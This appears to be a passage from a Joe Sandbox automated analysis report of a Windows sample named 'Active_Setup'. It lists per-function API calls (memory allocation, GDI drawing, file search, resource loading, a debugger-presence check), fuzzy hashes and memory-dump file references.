Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: FileModuleName$LibraryLoad
String ID:
API String ID: 4113206344-0
Opcode ID: e70e722e0d590b53123ee485d8924fb962186673b48781d6bded67bca5f69f94
Instruction ID: f4b137f27264914c9351a0ba5ba3c7e8fdf271de1d440051c769bba486b33a79
Opcode Fuzzy Hash: e70e722e0d590b53123ee485d8924fb962186673b48781d6bded67bca5f69f94
Instruction Fuzzy Hash: CBE0C975A003549BCF50DE68C8C1F563798AF48754F044965AD54CF24AD371D95087D6

Function 009EE165 Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(?,009EE185), ref: 009EE176

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 826cc8a2f2249cdbdde623a108f737ca41d1cde90b7aa16514360f478cff7867
Instruction ID: aeda3006435ec3dce312280d1a557e6d1a0fa3d180055e740eccd28398144467
Opcode Fuzzy Hash: 826cc8a2f2249cdbdde623a108f737ca41d1cde90b7aa16514360f478cff7867
Instruction Fuzzy Hash: A8C09B77A4C7447D77059E95781151D63E4D7C87203718C67F000C6540D93498408628

Function 00A6EEE4 Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00C35A14,?,?,00ACFE8B,00AD26FC,?,00C35A14,?,00000000,?,00B5F03B), ref: 00A6EF02

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 13138035735d7cca5b66c138fb44eccf6854d62dffbf8a4291495704bc44d86f
Instruction ID: fd3dad597b5db7979ffcc601034101b12ace83e008973240ad4d36619675bcd3
Opcode Fuzzy Hash: 13138035735d7cca5b66c138fb44eccf6854d62dffbf8a4291495704bc44d86f
Instruction Fuzzy Hash: 4F1115796443059FD710EF18C881B82F7E5EF88790B24C57AE9998F385E370E905CBA5

Function 009C5828 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,?,009C5E3F,?,009CF8B5,009DEA40,?,?,009CF84C,00000000,009CF871), ref: 009C583F

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6c60c401bb454f659f3d8314ce4469a012a67437b79d3b827da59f3c6002cace
Instruction ID: e1df589df6da53023da9c7ddb59eedf3d9c0dae14331c8ee72dc0708f3492bea
Opcode Fuzzy Hash: 6c60c401bb454f659f3d8314ce4469a012a67437b79d3b827da59f3c6002cace
Instruction Fuzzy Hash: 31F08CF2F412014BD7149F789D49B067BD8B744360F11413EEA0DDB798EBB0888497A4

Non-executed Functions

Function 00AAA790 Relevance: 48.5, APIs: 32, Instructions: 504windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(00000000,00000054,?), ref: 00AAA810
GetDC.USER32(00000000), ref: 00AAA821
CreateCompatibleDC.GDI32(00000000), ref: 00AAA832
CreateBitmap.GDI32(?,?,00000001,00000001,00000000), ref: 00AAA87E
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00AAA8A2
SelectObject.GDI32(?,?), ref: 00AAAAFC
SelectPalette.GDI32(?,00000000,00000000), ref: 00AAAB3C
RealizePalette.GDI32(?), ref: 00AAAB48
SetTextColor.GDI32(?,00000000), ref: 00AAABB1
SetBkColor.GDI32(?,00000000), ref: 00AAABCC
SetDIBColorTable.GDI32(?,00000000,00000002,?,?,00000000,?,00000000,00000000,00AAAD60,?,00000000,00AAAD84,?,00000000,00AAAD95), ref: 00AAAC15
FillRect.USER32(?,00AAAD60,00000000), ref: 00AAAB99

Part of subcall function 00AA5FEC: GetSysColor.USER32(?), ref: 00AA5FF6

PatBlt.GDI32(?,00000000,00000000,?,?,00FF0062), ref: 00AAAC37
CreateCompatibleDC.GDI32(00000000), ref: 00AAAC4A
SelectObject.GDI32(00AAB05F,00000000), ref: 00AAAC6D
SelectPalette.GDI32(00AAB05F,00000000,00000000), ref: 00AAAC89
RealizePalette.GDI32(00AAB05F), ref: 00AAAC94
SetTextColor.GDI32(00AAB05F,00000000), ref: 00AAACB2
SetBkColor.GDI32(00AAB05F,00000000), ref: 00AAACCD
BitBlt.GDI32(?,00000000,00000000,?,?,00AAB05F,00000000,00000000,00CC0020), ref: 00AAACF5
SelectPalette.GDI32(00AAB05F,00000000,000000FF), ref: 00AAAD07
SelectObject.GDI32(00AAB05F,00000000), ref: 00AAAD11
DeleteDC.GDI32(00AAB05F), ref: 00AAAD2C

Part of subcall function 00AA7230: EnterCriticalSection.KERNEL32(-00000008), ref: 00AA7259
Part of subcall function 00AA7230: CreateBrushIndirect.GDI32(?), ref: 00AA72F0
Part of subcall function 00AA7230: LeaveCriticalSection.KERNEL32(?,00AA7326,-00000008), ref: 00AA7317

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ColorSelect$CreatePalette$Object$Compatible$BitmapCriticalRealizeSectionText$BrushDeleteEnterFillIndirectLeaveRectTable
String ID:
API String ID: 3271313764-0
Opcode ID: 3a06cd65eade4b50a5cfced1eacefd1bd5473b2b7ecb841c28d401574f2be6b5
Instruction ID: 11cd18b225180c2b02f35db0c264c8b639b9db0ea50a551acd25425e4680a07c
Opcode Fuzzy Hash: 3a06cd65eade4b50a5cfced1eacefd1bd5473b2b7ecb841c28d401574f2be6b5
Instruction Fuzzy Hash: 3612F775A00208AFDB10EFA8C985F9EB7F8EB59310F118555F918EB292C774ED80CB61

Function 00C4E1CC Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 174windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00C4E22F
GetWindowLongW.USER32(?,000000F0), ref: 00C4E24C
GetWindowLongW.USER32(?,000000EC), ref: 00C4E271

Part of subcall function 00B5E040: IsWindow.USER32(?), ref: 00B5E04E
Part of subcall function 00B5E040: EnableWindow.USER32(?,000000FF), ref: 00B5E05D

GetActiveWindow.USER32 ref: 00C4E350
SetActiveWindow.USER32(?,00C4E3BC,00C4E3D4,?,?,000000EC,?,000000F0,00000000,00C4E3EF,?,00000000,?,00000000), ref: 00C4E3A3

Strings

`, xrefs: 00C4E205

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Window$ActiveLong$EnableIconic
String ID: `
API String ID: 4222481217-2679148245
Opcode ID: 4876132104bf6dc4539750415a4bb54f242674e01b275d1c3be83eee8766de0d
Instruction ID: f8679e1dd947968b27ef6ff1674787fc0fe671d1f7b0062ecf732a60bc1f7020
Opcode Fuzzy Hash: 4876132104bf6dc4539750415a4bb54f242674e01b275d1c3be83eee8766de0d
Instruction Fuzzy Hash: E1615975A042489FDB11DFA9C881B9EBBF8FF09310F1645AAF818EB3A1D7719940CB50

Function 00C60AA4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,00C60BE5,?,00C7EC44,?,?,00C60D94,00000000,00C60DDC,?,00000000,00000000,00000000), ref: 00C60AF5
SetFileAttributesW.KERNEL32(00000000,00000010), ref: 00C60B78
FindNextFileW.KERNEL32(000000FF,?,00000000,00C60BB6,?,00000000,?,00000000,00C60BE5,?,00C7EC44,?,?,00C60D94,00000000,00C60DDC), ref: 00C60B90
FindClose.KERNEL32(000000FF,00C60BBD,00C60BB6,?,00000000,?,00000000,00C60BE5,?,00C7EC44,?,?,00C60D94,00000000,00C60DDC), ref: 00C60BAE

Strings

isRS-???.tmp, xrefs: 00C60ADD
isRS-, xrefs: 00C60B15

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 149f6a6e76ba1afb0290eb19b6fa4a6e50d9f493e04bbea74fad6675f4740721
Instruction ID: 9a7396d4ae37afc9fd943c68584e33e64564c5438bb82dd88c9a9a2909d0123e
Opcode Fuzzy Hash: 149f6a6e76ba1afb0290eb19b6fa4a6e50d9f493e04bbea74fad6675f4740721
Instruction Fuzzy Hash: 91318171D0461CAFDB24EB64DC85B9EB7B8EBC8304F2185F5E804F3251EB749E408A14

Function 00A602E4 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(009C0000,?,?,00A38878,009C0000,00000001,00000000,?,00A60226,00000000,00000000,?,00C7EC44,?,?,00C54318), ref: 00A602FB
LoadResource.KERNEL32(009C0000,00A60380,009C0000,?,?,00A38878,009C0000,00000001,00000000,?,00A60226,00000000,00000000,?,00C7EC44,?), ref: 00A60315
SizeofResource.KERNEL32(009C0000,00A60380,009C0000,00A60380,009C0000,?,?,00A38878,009C0000,00000001,00000000,?,00A60226,00000000,00000000), ref: 00A6032F
LockResource.KERNEL32(00A5F278,00000000,009C0000,00A60380,009C0000,00A60380,009C0000,?,?,00A38878,009C0000,00000001,00000000,?,00A60226,00000000), ref: 00A60339

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: c342c5785d53d4d0b225c5304785f1008de1f226bb96788fc379dcccb6507805
Instruction ID: 21b371c82d0501f03710dd30d44c6621e9763750093635c85e814a186cb9e079
Opcode Fuzzy Hash: c342c5785d53d4d0b225c5304785f1008de1f226bb96788fc379dcccb6507805
Instruction Fuzzy Hash: E6F08CB32016046F5744EF6CA981E6F77ECEE88360311806AF908CB306DA30ED118778

Function 00A6C6C0 Relevance: 3.1, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(00000000,00A6C778), ref: 00A6C6F2
RaiseException.KERNEL32(406D1388,00000000,00000004,00001000,00000000,00A6C748,?,00000000,00A6C778), ref: 00A6C739

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: DebuggerExceptionPresentRaise
String ID:
API String ID: 1899633966-0
Opcode ID: d7eece2dcd6fa23bb767bfbae0cc7c68f741d5c85dd57f4a44626fe57605b0df
Instruction ID: 9127b165946bdd856faa639e2fe29ba7da3d67ca07f1ef8e77865d086afe46a2
Opcode Fuzzy Hash: d7eece2dcd6fa23bb767bfbae0cc7c68f741d5c85dd57f4a44626fe57605b0df
Instruction Fuzzy Hash: E2116370A0460CAFD711DFA5DC92AAEBBFCEB89710F618476F504E3650E7709A00CE61

Function 00AA873C Relevance: 3.0, APIs: 2, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00AA87DA,?,00000000,?,00AA87F4,00000000,00AAAEBB,00000000,00000000,00AAB05F,?,00000000,00000054,?,00000000), ref: 00AA875C
FormatMessageW.KERNEL32(00001000,00000000,00000000,00000400,?,00000100,00000000,00000000,00AA87DA,?,00000000,?,00AA87F4,00000000,00AAAEBB,00000000), ref: 00AA8782

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 072f4718fb17b2d4c206a9db172746733cf39a4dc5508daa300fde08613e3b78
Instruction ID: 2827517366719812e5fca5ad9c934faeffa39245fbcf9261364c4927c976102b
Opcode Fuzzy Hash: 072f4718fb17b2d4c206a9db172746733cf39a4dc5508daa300fde08613e3b78
Instruction Fuzzy Hash: 3601D4706047099FE711FB608C96F9AB2A9EB45700F204475F605D32C2EFB46D408A21

Function 00BD6440 Relevance: 1.6, APIs: 1, Instructions: 76comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7A104: GetFullPathNameW.KERNEL32(00000000,00001000,?,?,00000002,?,00C7EC44,00000000,00BBFABD,00000000,00BBFB54,?,?,00000000,00000000,00000000), ref: 00B7A134

CoCreateInstance.OLE32(00C76B9C,00000000,00000001,00C76BAC,00000000,00000000,00BD6514,?,?,00000000,00000000,00000000,00000000,?,00BDB53A,00000000), ref: 00BD64B9

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
